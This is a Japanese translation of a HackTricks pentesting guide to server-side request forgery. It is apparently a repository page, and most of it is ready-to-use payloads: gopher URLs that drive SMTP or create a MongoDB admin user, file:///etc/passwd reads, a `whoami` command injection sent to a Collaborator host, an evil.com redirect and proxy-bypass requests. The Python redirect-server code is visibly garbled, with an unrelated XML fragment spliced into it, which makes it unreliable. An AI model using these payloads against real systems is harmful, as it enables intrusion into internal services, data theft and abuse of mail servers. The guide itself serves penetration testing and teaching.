hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-07-19 10:21:08 +00:00
..
cloud-ssrf.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:55:19 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne 2024-07-17 11:17:41 +00:00
ssrf-vulnerable-platforms.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
url-format-bypass.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 23:08:22 +00:00

SSRF (Server Side Request Forgery)


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

htARTE (HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricksをサポートする他の方法

基本情報

サーバーサイドリクエストフォージェリSSRF脆弱性は、サーバーサイドアプリケーションを操作して、攻撃者が選択したドメインにHTTPリクエストを行わせるときに発生します。この脆弱性により、攻撃者によって指示された任意の外部リクエストがサーバーに公開されます。

SSRFのキャプチャ

最初に行う必要があることは、自分が生成したSSRFインタラクションをキャプチャすることです。HTTPまたはDNSインタラクションをキャプチャするには、次のようなツールを使用できます

ホワイトリストされたドメインのバイパス

通常、SSRFが特定のホワイトリストされたドメインまたはURLでのみ機能していることがわかります。次のページでは、そのホワイトリストをバイパスしようとするテクニックのコンパイルがあります:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

オープンリダイレクトを介したバイパス

サーバーが適切に保護されている場合、Webページ内のオープンリダイレクトを悪用することで、すべての制限をバイパスできる可能性があります。Webページは同じドメインへのSSRFを許可し、おそらくリダイレクトをフォローするため、オープンリダイレクトを悪用してサーバーが内部の任意のリソースにアクセスすることができます。
詳細はこちら:https://portswigger.net/web-security/ssrf

プロトコル

  • file://
  • URLスキームfile://は、直接/etc/passwdを指すように参照されます:file:///etc/passwd
  • dict://
  • DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されると説明されています。与えられた例では、特定の単語、データベース、エントリ番号を対象とする構築されたURLと、PHPスクリプトが攻撃者が提供した資格情報を使用してDICTサーバーに接続する可能性が示されていますdict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • セキュアシェルを介したセキュアファイル転送のためのプロトコルとして特定され、PHPスクリプトが悪意のあるSFTPサーバーに接続する方法を示す例が提供されていますurl=sftp://generic.com:11111/
  • TFTP://
  • UDPを介して動作するTrivial File Transfer Protocolが言及され、PHPスクリプトがTFTPサーバーにリクエストを送信するように設計されている例が示されています。TFTPリクエストは、ファイルTESTUDPPACKETを取得するためにポート12346generic.comに送信されます:ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • このセグメントでは、IPネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするために使用されるLightweight Directory Access Protocolがカバーされており、ローカルホストのLDAPサーバーとのやり取りが強調されています'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • SSRF脆弱性を悪用してローカルホスト上のSMTPサービスとやり取りする方法が記載されており、内部ドメイン名を明らかにする手順やその情報に基づいたさらなる調査アクションが含まれています。
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • もしSSRFがcurlによって実行される場合、curlにはWAFをバイパスするのに役立つ可能性があるURL globbingという機能があります。たとえば、このwriteupでは、fileプロトコルを介したパストラバーサルの例が示されています。
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • GopherプロトコルのIP、ポート、およびバイトを指定する能力について、Gopherusやremote-method-guesserなどのツールと共に、ペイロードを作成する方法が説明されています。2つの異なる用途が説明されています

Gopher://

このプロトコルを使用すると、サーバーに送信してほしいIP、ポート、およびバイトを指定できます。その後、基本的にSSRFを悪用して任意のTCPサーバーと通信できます(ただし、最初にサービスとの通信方法を知っている必要があります)。
幸いにも、Gopherusを使用して、複数のサービス用のペイロードを作成できます。さらに、remote-method-guesserを使用して、_Java RMI_サービス向けの_gopher_ペイロードを作成できます。

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 1337にバックコネクト

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- ユーザーを作成します。ユーザー名はadmin、パスワードはadmin123、権限は管理者です。

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

Referrerヘッダーおよびその他を介したSSRF

サーバー上のアナリティクスソフトウェアはしばしばReferrerヘッダーを記録して着信リンクを追跡します。この実践は、アプリケーションをServer-Side Request ForgerySSRFの脆弱性にさらすことになります。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れてリファラーサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "Collaborator Everywhere" を活用することが推奨されており、アナリティクスツールがRefererヘッダーを処理する方法を利用して潜在的なSSRF攻撃面を特定します。

証明書からのSNIデータを介したSSRF

任意のバックエンドへの接続を可能にする可能性のある誤った構成は、次のNginx構成の例で説明されています

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

この構成では、サーバー名指定SNIフィールドからの値がバックエンドのアドレスとして直接利用されます。このセットアップは、単にSNIフィールドに希望のIPアドレスやドメイン名を指定することで悪用される可能性がある、サーバーサイドリクエストフォージェリSSRFへの脆弱性を露出させます。opensslコマンドを使用して、internal.host.comなどの任意のバックエンドに接続を強制する悪用例が以下に示されています:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget ファイルアップロード

コマンドインジェクション付きのSSRF

次のようなペイロードを試してみる価値があります: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFのレンダリング

Webページが提供した情報で自動的にPDFを作成している場合、PDF作成中にPDF作成者自体サーバーによって実行されるJSを挿入することができ、SSRFを悪用することができます。こちらで詳細情報を見つける.

SSRFからDoSへ

複数のセッションを作成し、セッションからSSRFを悪用して重いファイルをダウンロードしようとしてみてください。

SSRF PHP関数

脆弱なPHPおよびWordPress関数については、次のページをチェックしてください:

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

GopherへのSSRFリダイレクト

一部の悪用では、リダイレクト応答を送信する必要がある場合おそらくgopherのような異なるプロトコルを使用するため、異なるPythonコードを使用してリダイレクトを返すことができます:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
<details>
<summary>English</summary>
<details>
<summary>Header</summary>
<p:ExecuteShellCommand_INP
xmlns:p="http://schemas.xmlsoap.org/ws/2004/08/addressing">
<p:DataLocale lang="en-us" />
<p:OperationSet mustUnderstand="true">http://schemas.xmlsoap.org/ws/2001/XMLSchema</p:OperationSet>
<p:Locale xml:lang="en-us" />
<p:OperationTime>PT1M30S</p:OperationTime>
<p:Local xmlns:lan="en-us" mustUnderstand="false" />
<p:DataLocal xmlns:lan="en-us" mustUnderstand="false" />
<p:OperationSet>
<p:Operation Name="__cimnamespace">root/scx</p:Operation>
</p:OperationSet>
</p:ExecuteShellCommand_INP>
</details>
</details>
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

SSRFへのミス構成されたプロキシ

この投稿からのトリック

Flask

Flaskプロキシ脆弱性コード ```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flaskでは、**`@`**を初期文字として使用できるため、**初期ホスト名をユーザー名**として使用し、新しいホスト名をインジェクトすることができます。攻撃リクエスト:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

脆弱なコード:

リクエストのパスを文字 ; で始めることが可能であることが発見されました。これにより @ を使用して新しいホストを注入してアクセスすることができます。攻撃リクエスト:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP 組み込みウェブサーバー

脆弱な PHP コード ```php $proxy_site = $site.$current_uri; var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHPは、URLのパスでスラッシュの前に**char `*`を使用することを許可していますが、ルートパス名`/`にしか使用できず、最初のスラッシュの前にドット`.`を使用することはできないという制限があります。そのため、dotless-hexエンコードされたIPアドレスを使用する必要があります。
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

CORS/SOPの制限をバイパスするためにローカルIPからコンテンツを外部に送信するのに問題がある場合、DNS Rebiddingを使用してその制限をバイパスできます:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

自動DNS Rebidding

Singularity of OriginDNS rebinding攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。

また、公開されているサーバーもチェックしてください http://rebind.it/singularity.html

DNS Rebidding + TLSセッションID/セッションチケット

要件:

  • SSRF
  • アウトバウンドTLSセッション
  • ローカルポート上のデータ

攻撃:

  1. ユーザー/ボットに攻撃者が制御するドメインアクセスするように要求します
  2. DNSTTL0秒です被害者は間もなくドメインのIPを再度確認します
  3. 被害者と攻撃者のドメイン間にTLS接続が作成されます。攻撃者はSession IDまたはSession Ticket内にペイロードを挿入します。
  4. ドメイン自分自身に対して無限のリダイレクトループを開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続けるようにし、再度ドメインのDNSリクエストを実行させることです。
  5. DNSリクエストでプライベートIPアドレスが与えられます127.0.0.1
  6. ユーザー/ボットはTLS接続を再確立しようとし、そのためにSession ID/Ticket IDを送信します(攻撃者のペイロードが含まれていた場所)。おめでとうございます、ユーザー/ボットに自身を攻撃させることに成功しました。

この攻撃中、localhost:11211memcacheを攻撃する場合、被害者にwww.attacker.com:11211で初期接続を確立させる必要がありますポートは常に同じである必要があります)。
この攻撃を実行するには、次のツールを使用できます:https://github.com/jmdx/TLS-poison/
この攻撃が説明されているトークを見るには、詳細はこちら:https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

盲目のSSRFと非盲目のSSRFの違いは、盲目の場合にSSRFリクエストの応答を見ることができないことです。そのため、既知の脆弱性のみを悪用できるため、悪用がより困難になります。

時間ベースのSSRF

サーバーからの応答の時間をチェックすることで、リソースが存在するかどうかを知ることができるかもしれません(存在するリソースにアクセスするのに時間がかかるかもしれません)。

Cloud SSRF Exploitation

クラウド環境内で実行されているマシンでSSRF脆弱性を見つけた場合、クラウド環境に関する興味深い情報や資格情報さえ取得できるかもしれません

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

SSRF Vulnerable Platforms

いくつかの既知のプラットフォームにはSSRF脆弱性が含まれているか、または含まれていました。それらをチェックしてください

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Tools

SSRFMap

SSRF脆弱性を検出および悪用するためのツール

Gopherus

このツールは以下のためのGopherペイロードを生成します

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

_remote-method-guesser_は、一般的な_Java RMI_脆弱性の攻撃操作をサポートする_Java RMI_脆弱性スキャナーです。ほとんどの利用可能な操作は、要求された操作のためにSSRFペイロードを生成するための--ssrfオプションをサポートしています。--gopherオプションと一緒に使用すると、直接使用できる_gopher_ペイロードが直接生成されます。

SSRF Proxy

SSRF Proxyは、Server-Side Request ForgerySSRFに脆弱なHTTPサーバーを介してクライアントHTTPトラフィックをトンネリングするために設計されたマルチスレッドのHTTPプロキシサーバーです。

練習するために

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

参考文献

**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法


Trickestを使用して、世界で最も高度なコミュニティツールによって動作するワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}